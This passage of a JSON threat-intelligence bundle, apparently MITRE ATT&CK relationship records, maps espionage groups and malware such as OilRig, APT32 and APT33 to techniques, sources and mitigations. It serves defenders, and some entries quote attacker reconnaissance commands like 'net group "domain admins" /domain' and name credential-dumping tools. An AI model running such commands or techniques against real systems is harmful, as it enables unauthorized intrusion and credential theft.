                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                }
            ],
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates local and domain users(Citation: Symantec Buckeye)",
            "relationship_type": "uses",
            "id": "relationship--30c5a160-c42d-4bee-bcc6-b85f083136d7",
            "type": "relationship",
            "modified": "2020-03-18T20:19:35.732Z",
            "created": "2020-03-18T20:19:35.732Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "source_name": "Kaspersky Poseidon Group"
                }
            ],
            "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) searches for administrator accounts on both the local victim machine and the network.(Citation: Kaspersky Poseidon Group)",
            "relationship_type": "uses",
            "id": "relationship--b93cfd4f-113c-4769-81c9-e710ed0b5f4e",
            "type": "relationship",
            "modified": "2020-03-18T20:25:55.125Z",
            "created": "2020-03-18T20:25:55.125Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.",
                    "url": "https://github.com/nettitude/PoshC2_Python",
                    "source_name": "GitHub PoshC2"
                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) can enumerate local and domain user account information.(Citation: GitHub PoshC2)",
            "relationship_type": "uses",
            "id": "relationship--426daf58-7fab-49c8-b5cb-722f3e46a75a",
            "type": "relationship",
            "modified": "2020-03-18T20:28:50.558Z",
            "created": "2020-03-18T20:28:50.558Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                }
            ],
            "description": "[Helminth](https://attack.mitre.org/software/S0170) has checked for the domain admin group and Exchange Trusted Subsystem groups using the commands <code>net group Exchange Trusted Subsystem /domain</code> and <code>net group domain admins /domain</code>.(Citation: Unit 42 Playbook Dec 2017)",
            "relationship_type": "uses",
            "id": "relationship--c2541365-58bd-474c-82ab-28c7b63e7fb8",
            "type": "relationship",
            "modified": "2020-03-18T20:31:34.168Z",
            "created": "2020-03-18T20:31:34.168Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "target_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) has used [Process Doppelg\u00e4nging](https://attack.mitre.org/techniques/T1055/013) to evade security software while deploying tools on compromised systems.(Citation: Symantec Leafminer July 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--926c11f2-853f-4393-9faf-2f3af174e578",
            "type": "relationship",
            "modified": "2020-03-18T22:00:45.497Z",
            "created": "2020-03-18T22:00:45.497Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
            "target_ref": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec",
            "external_references": [
                {
                    "source_name": "Crysys Skywiper",
                    "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer):  A complex malware for targeted attacks. Retrieved September 6, 2018.",
                    "url": "https://www.crysys.hu/publications/files/skywiper.pdf"
                }
            ],
            "description": "[Flame](https://attack.mitre.org/software/S0143) can use Windows Authentication Packages for persistence.(Citation: Crysys Skywiper)",
            "relationship_type": "uses",
            "id": "relationship--c8ad1abb-cbe4-4172-9faa-4b999054dd7b",
            "type": "relationship",
            "modified": "2020-03-18T22:01:32.429Z",
            "created": "2020-03-18T22:01:32.429Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of domain groups with the command <code>net localgroup /domain</code>.(Citation: Symantec Orangeworm April 2018)",
            "relationship_type": "uses",
            "id": "relationship--040ff1f7-493d-4762-a9bb-db143a971464",
            "type": "relationship",
            "modified": "2020-03-18T22:06:42.466Z",
            "created": "2020-03-18T22:06:42.466Z"
        },
        {
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            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "description": "Commands such as <code>net group /domain</code> can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate groups.(Citation: Savill 1999)",
            "relationship_type": "uses",
            "id": "relationship--0eb8fe0a-6a6b-4d66-b6ff-e1d7f8f18948",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.640Z",
            "created": "2020-03-18T22:46:46.060Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used <code>net group /domain</code>, <code>net group \u201cdomain admins\u201d /domain</code>, and <code>net group \u201cExchange Trusted Subsystem\u201d /domain</code> to find domain group permission settings.(Citation: Palo Alto OilRig May 2016)",
            "relationship_type": "uses",
            "id": "relationship--409581f2-270d-43ce-8044-34bc09874548",
            "type": "relationship",
            "modified": "2020-03-18T22:50:09.035Z",
            "created": "2020-03-18T22:50:09.035Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) specifically looks for Domain Admins and power users within the domain.(Citation: Symantec Buckeye) ",
            "relationship_type": "uses",
            "id": "relationship--a1fab866-6486-4775-8caf-2b5744971477",
            "type": "relationship",
            "modified": "2020-03-18T22:53:32.233Z",
            "created": "2020-03-18T22:53:32.233Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect local group information by running <code>net localgroup administrators</code> or a series of other commands on a victim.(Citation: FireEye APT34 Dec 2017)",
            "relationship_type": "uses",
            "id": "relationship--5650777d-f905-4c09-8fd0-0e205178a830",
            "type": "relationship",
            "modified": "2020-03-18T23:12:20.804Z",
            "created": "2020-03-18T23:12:20.804Z"
        },
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            "object_marking_refs": [
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            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "external_references": [
                {
                    "source_name": "Microsoft Net",
                    "url": "https://support.microsoft.com/en-us/help/556003",
                    "description": "Microsoft. (2017, February 14). Net Commands On Windows Operating Systems. Retrieved March 19, 2020."
                }
            ],
            "description": "[Net](https://attack.mitre.org/software/S0039) commands used with the <code>/domain</code> flag can be used to gather information about and manipulate user accounts on the current domain.(Citation: Microsoft Net)",
            "relationship_type": "uses",
            "id": "relationship--14612b22-b271-4e93-8f66-d86ce8e10c29",
            "type": "relationship",
            "modified": "2020-03-19T13:14:50.687Z",
            "created": "2020-03-19T13:11:25.521Z"
        },
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
            "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
            "relationship_type": "revoked-by",
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            "type": "relationship",
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "relationship_type": "revoked-by",
            "id": "relationship--38b33f88-bc7e-4376-891d-51e7a0404174",
            "type": "relationship",
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            "created": "2020-03-19T15:09:22.409Z"
        },
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            "target_ref": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
            "relationship_type": "revoked-by",
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            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "target_ref": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
            "relationship_type": "revoked-by",
            "id": "relationship--484a1a7a-9e4e-4815-85bd-82a7ea607f2d",
            "type": "relationship",
            "modified": "2020-03-19T15:11:39.887Z",
            "created": "2020-03-19T15:11:39.887Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
            "target_ref": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c",
            "relationship_type": "revoked-by",
            "id": "relationship--618cfee6-a12a-4e17-b66b-cbd965a08357",
            "type": "relationship",
            "modified": "2020-03-19T15:12:13.292Z",
            "created": "2020-03-19T15:12:13.292Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.",
                    "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/",
                    "source_name": "Cyber Forensicator Silence Jan 2019"
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used JS scripts.(Citation: Cyber Forensicator Silence Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--60989b47-4725-4077-8aed-fb5f990fda22",
            "type": "relationship",
            "modified": "2020-06-23T20:30:07.122Z",
            "created": "2020-03-19T16:21:36.690Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.",
                    "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/",
                    "source_name": "Cyber Forensicator Silence Jan 2019"
                },
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used PowerShell to download and execute payloads.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--afafd676-1b44-44ae-ad9a-930c0df348bc",
            "type": "relationship",
            "modified": "2020-05-06T03:12:02.501Z",
            "created": "2020-03-19T16:21:36.705Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "external_references": [
                {
                    "source_name": "CheckPoint SpeakUp Feb 2019",
                    "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/",
                    "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019."
                }
            ],
            "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses Perl scripts.(Citation: CheckPoint SpeakUp Feb 2019)",
            "relationship_type": "uses",
            "id": "relationship--9b174c9b-eab5-4715-aa31-915689054baa",
            "type": "relationship",
            "modified": "2020-03-19T17:09:03.530Z",
            "created": "2020-03-19T17:09:03.530Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Sep 2017",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019."
                },
                {
                    "source_name": "Proofpoint TA505 June 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times",
                    "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019."
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used JavaScript for code execution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)",
            "relationship_type": "uses",
            "id": "relationship--6f57b4eb-ba87-4755-9b96-3715e1da1de1",
            "type": "relationship",
            "modified": "2020-06-23T20:39:02.965Z",
            "created": "2020-03-19T17:35:11.637Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "source_name": "Unit42 Xbash Sept 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018."
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can execute malicious JavaScript payloads on the victim\u2019s machine.(Citation: Unit42 Xbash Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--8dd45f3b-a005-40b3-a6ef-c1ef208e8504",
            "type": "relationship",
            "modified": "2020-06-23T20:41:28.698Z",
            "created": "2020-03-19T17:44:44.695Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "source_name": "US-CERT TA18-074A"
                },
                {
                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                }
            ],
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used various types of scripting to perform operations, including Python scripts. The group was observed installing Python 2.7 on a victim.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--b2f72ecc-7498-4b16-b674-65ecc9807e3f",
            "type": "relationship",
            "modified": "2020-03-19T17:49:53.335Z",
            "created": "2020-03-19T17:49:53.335Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8",
            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
            "relationship_type": "revoked-by",
            "id": "relationship--5c3c9a95-98ee-4f60-8291-c4c34347adb6",
            "type": "relationship",
            "modified": "2020-03-19T18:17:25.951Z",
            "created": "2020-03-19T18:17:25.951Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "TrendMicro MacOS April 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses PowerShell scripts.(Citation: TrendMicro MacOS April 2018)",
            "relationship_type": "uses",
            "id": "relationship--ee73acc3-a506-41a2-b7b9-e5aa9b68342b",
            "type": "relationship",
            "modified": "2020-03-19T19:09:17.746Z",
            "created": "2020-03-19T19:09:17.746Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da",
            "relationship_type": "mitigates",
            "description": "Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.",
            "id": "relationship--73b3f761-2c2d-4ceb-8886-dd0bb0fc7fc4",
            "type": "relationship",
            "modified": "2021-01-13T15:56:05.111Z",
            "created": "2020-03-19T19:09:30.512Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da",
            "relationship_type": "mitigates",
            "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls and cannot be manipulated by user accounts.",
            "id": "relationship--83cedabf-9f63-4094-9f60-b545308c6dbb",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal",
                    "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.",
                    "source_name": "Microsoft ETW May 2018"
                }
            ],
            "type": "relationship",
            "modified": "2021-01-13T15:56:05.132Z",
            "created": "2020-03-19T19:09:30.514Z"
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                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
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            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can uninstall malware components using a batch script.(Citation: US-CERT TYPEFRAME June 2018) [TYPEFRAME](https://attack.mitre.org/software/S0263) can execute commands using a shell.(Citation: US-CERT TYPEFRAME June 2018)",
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                    "source_name": "ESET Sednit Part 2"
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                    "url": "https://www.justice.gov/file/1080281/download"
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                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                }
            ],
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has used tools to dump passwords from browsers.(Citation: Symantec Buckeye)",
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            "id": "relationship--3911c758-2c61-4615-88a1-4b9f21c99a9c",
            "type": "relationship",
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            "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580",
            "external_references": [
                {
                    "source_name": "Cybereason Oceanlotus May 2017",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) used Outlook Credential Dumper to harvest credentials stored in Windows registry.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--304f5c1b-7cfa-4c2a-b7a2-e4957da603b1",
            "type": "relationship",
            "modified": "2020-06-19T21:36:32.167Z",
            "created": "2020-03-19T22:10:50.454Z"
        },
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            ],
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            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
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                    "source_name": "Cybereason Oceanlotus May 2017",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) used GetPassword_x64 to harvest credentials.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--6f75cf7f-1c21-4c22-983b-fac20ea85101",
            "type": "relationship",
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            "created": "2020-03-19T22:10:50.463Z"
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            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "external_references": [
                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                },
                {
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "source_name": "FireEye APT33 Guardrail"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--16952ba0-4fae-450b-990c-2b771efbd60f",
            "type": "relationship",
            "modified": "2020-03-19T22:16:54.814Z",
            "created": "2020-03-19T22:16:54.814Z"
        },
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            "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
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                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                },
                {
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "source_name": "FireEye APT33 Guardrail"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--990e1dac-f103-47c0-91d8-a5238ffc6b99",
            "type": "relationship",
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                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                },
                {
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "source_name": "FireEye APT33 Guardrail"
                }
            ],
